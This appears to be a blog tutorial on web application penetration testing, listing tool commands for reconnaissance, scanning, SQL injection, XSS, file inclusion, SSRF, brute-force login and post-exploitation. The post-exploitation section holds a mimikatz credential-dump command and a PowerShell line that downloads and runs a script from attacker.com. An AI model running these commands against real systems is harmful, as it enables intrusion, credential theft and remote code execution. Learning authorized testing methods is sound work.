Listen to this Post
Introduction:
Web application penetration testing is a critical offensive security discipline designed to uncover and exploit vulnerabilities in web-facing systems. By systematically emulating real-world attacker techniques, security professionals can identify security gaps that automated scanners often miss, providing a true assessment of an application’s defensive posture.
Learning Objectives:
- Master the core reconnaissance and enumeration commands for mapping web application attack surfaces.
- Understand and execute critical vulnerability assessment techniques for common web app flaws.
- Learn privilege escalation and post-exploitation methods to demonstrate business impact.
You Should Know:
1. Passive Reconnaissance with WHOIS and Subfinder
Verified Commands:
whois example.com subfinder -d example.com -silent | tee subdomains.txt assetfinder --subs-only example.com | sort -u amass enum -passive -d example.com -o amass_results.txt
Step-by-step guide:
WHOIS provides registration details including name servers and creation dates. Subfinder performs passive subdomain enumeration using public sources without sending traffic directly to the target. Combine these tools to build a comprehensive target asset map. Always start with passive reconnaissance to avoid triggering detection systems during the initial assessment phase.
2. Active Subdomain Bruteforcing with GoBuster
Verified Commands:
gobuster dns -d example.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -o gobuster.txt -t 50 ffuf -w subdomains.txt:FUZZ -u https://FUZZ.example.com -fs 0
Step-by-step guide:
GoBuster uses DNS bruteforcing to discover subdomains that may not appear in public records. The `-t` flag controls threads for performance tuning. FFuf filters responses by size (-fs 0) to eliminate false positives. These active techniques complement passive discovery but generate more noise in security logs.
3. Port Scanning and Service Enumeration with Nmap
Verified Commands:
nmap -sC -sV -p- -T4 -oA full_tcp_scan example.com nmap --script http-enum,http-title -p 80,443,8000-9000 10.0.1.0/24 nmap -sU -p 53,161,162 -T3 -oA udp_scan example.com
Step-by-step guide:
Comprehensive port scanning identifies all listening services. The `-sC` flag runs default scripts while `-sV` detects service versions. Scan all TCP ports (-p-) and common UDP ports. HTTP enumeration scripts identify web technologies and directory structures that might be vulnerable.
4. Web Directory and File Bruteforcing
Verified Commands:
gobuster dir -u https://example.com -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php,html,txt -o directories.txt dirb https://example.com /usr/share/dirb/wordlists/common.txt -o dirb_output.txt -r feroxbuster -u https://example.com -x php txt html js -w /usr/share/seclists/Discovery/Web-Content/common.txt
Step-by-step guide:
These tools discover hidden directories and files that might contain sensitive information, backup files, or administrative interfaces. Specify extensions (-x) relevant to the target technology stack. Always review robots.txt and sitemap.xml first as they may contain additional discovery hints.
5. Vulnerability Scanning with Nikto and Nuclei
Verified Commands:
nikto -h https://example.com -o nikto_scan.txt -Format txt nuclei -u https://example.com -t /home/user/nuclei-templates/ -o nuclei_results.txt nuclei -l targets.txt -t /home/user/nuclei-templates/cves/ -severity critical,high
Step-by-step guide:
Nikto performs comprehensive web server scans for known vulnerabilities and misconfigurations. Nuclei uses community-driven templates to detect the latest CVEs and security issues. Always update template repositories before scanning (nuclei -update-templates).
6. SQL Injection Testing with SQLmap
Verified Commands:
sqlmap -u "https://example.com/products.php?id=1" --batch --level=3 --risk=3 sqlmap -u "https://example.com/login" --forms --batch sqlmap -r request.txt --dbms=mysql --os-shell
Step-by-step guide:
SQLmap automates the detection and exploitation of SQL injection flaws. Test all user-input parameters including headers and POST data. The `–forms` flag automatically tests form fields. Use `–os-shell` for command execution only in authorized engagements as it’s highly invasive.
7. Cross-Site Scripting (XSS) Testing with XSStrike
Verified Commands:
python3 xsstrike.py -u "https://example.com/search?q=query" xsstrike --crawl -u https://example.com python3 xsstrike.py -u "https://example.com" --data "username=test&password=test" --headers "Cookie: session=value"
Step-by-step guide:
XSStrike uses multiple parsing engines and payload generation techniques to identify reflected, stored, and DOM-based XSS vulnerabilities. The crawler mode automatically discovers all application endpoints. Always test XSS in context-aware mode as modern applications require specific payload structures.
8. File Inclusion Vulnerability Testing
Verified Commands:
ffuf -w /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt:FUZZ -u "https://example.com/index.php?page=FUZZ" -fs 0 ffuf -w /usr/share/seclists/Fuzzing/LFI/LFI-jhaddix.txt:FUZZ -u "https://example.com/show.php?file=FUZZ" -mr "root:"
Step-by-step guide:
Local and Remote File Inclusion (LFI/RFI) vulnerabilities allow attackers to read sensitive files or execute remote code. Test all file parameters with directory traversal sequences. The `-mr` flag in FFuf matches responses containing specific patterns like “root:” which indicates successful file reading.
9. Server-Side Request Forgery (SSRF) Testing
Verified Commands:
ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u "https://example.com/request.php?FUZZ=http://internal.server" -fs 0 ssrfmap -r request.txt -p URL -m portscan gopherus --exploit mysql
Step-by-step guide:
SSRF vulnerabilities allow attackers to make requests from the server to internal resources. Test all URL parameters with internal addresses or burp collaborator payloads. SSRFMap automates different SSRF exploitation techniques including cloud metadata API attacks.
10. Authentication and Session Management Testing
Verified Commands:
hydra -l admin -P /usr/share/wordlists/rockyou.txt example.com http-post-form "/login:username=^USER^&password=^PASS^:F=incorrect" burpsuite intruder with "Cookie: session=§token§" and session token lists sqlmap --auth-cred="admin:password" --auth-type="basic" --url="https://example.com/admin"
Step-by-step guide:
Test authentication mechanisms for weak credentials, brute force vulnerabilities, and bypass techniques. Hydra performs dictionary attacks against login forms. Test session tokens for predictability and insufficient expiration. Always check for concurrent session usage.
11. API Security Testing with Kiterunner and Postman
Verified Commands:
kr scan https://api.example.com -w /home/user/wordlists/data/kiterunner/routes-large.kite kr brute https://api.example.com -w /home/user/wordlists/data/kiterunner/routes-large.kite -x 20 curl -H "Authorization: Bearer eyJ0eXAiOiJKV1QiLC" https://api.example.com/v1/users
Step-by-step guide:
Kiterunner specializes in discovering API endpoints by matching requests against known API structures. Test all API endpoints for authentication bypass, IDOR, and mass assignment vulnerabilities. Always review API documentation for hidden endpoints and test rate limiting implementations.
12. Privilege Escalation and Post-Exploitation
Verified Commands:
linpeas.sh -a | tee linpeas_output.txt
winpeas.exe quiet fast | tee winpeas_output.txt
mimikatz sekurlsa::logonpasswords
powershell -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/PowerView.ps1'); Get-DomainUser"
Step-by-step guide:
After initial compromise, privilege escalation is critical for demonstrating business impact. LinPEAS/WinPEAS automate enumeration of misconfigurations. Mimikatz extracts credentials from memory. PowerView enables Active Directory enumeration. These techniques show how a web app vulnerability can lead to domain compromise.
What Undercode Say:
- Web application penetration testing requires both automated tools and manual analysis to identify business-logic flaws that scanners miss.
- The most critical vulnerabilities often stem from authentication/authorization bypasses and server misconfigurations rather than complex code flaws.
- Comprehensive testing must extend beyond the immediate application to include integrated APIs, third-party components, and underlying infrastructure.
The evolution of web technologies continues to introduce new attack surfaces, with API security becoming increasingly critical as traditional web forms give way to JSON-based endpoints. Modern testing methodologies must adapt to serverless architectures, containerized deployments, and complex authentication flows like OAuth and JWT. The most successful penetration testers combine deep technical knowledge with an understanding of business context to prioritize findings that represent genuine risk rather than theoretical vulnerabilities.
Prediction:
Within two years, AI-assisted vulnerability discovery will dramatically shift the web application security landscape, with machine learning models capable of identifying complex business logic flaws and chained attack vectors that currently require manual analysis. This will force a transition from signature-based detection to behavioral anomaly monitoring, with runtime application self-protection (RASP) becoming standard in development pipelines. Simultaneously, the expanding attack surface of JavaScript-heavy single-page applications and microservices architectures will make comprehensive manual testing increasingly challenging, driving adoption of continuous security validation integrated directly into DevOps workflows.
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: 0xfrost Web – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
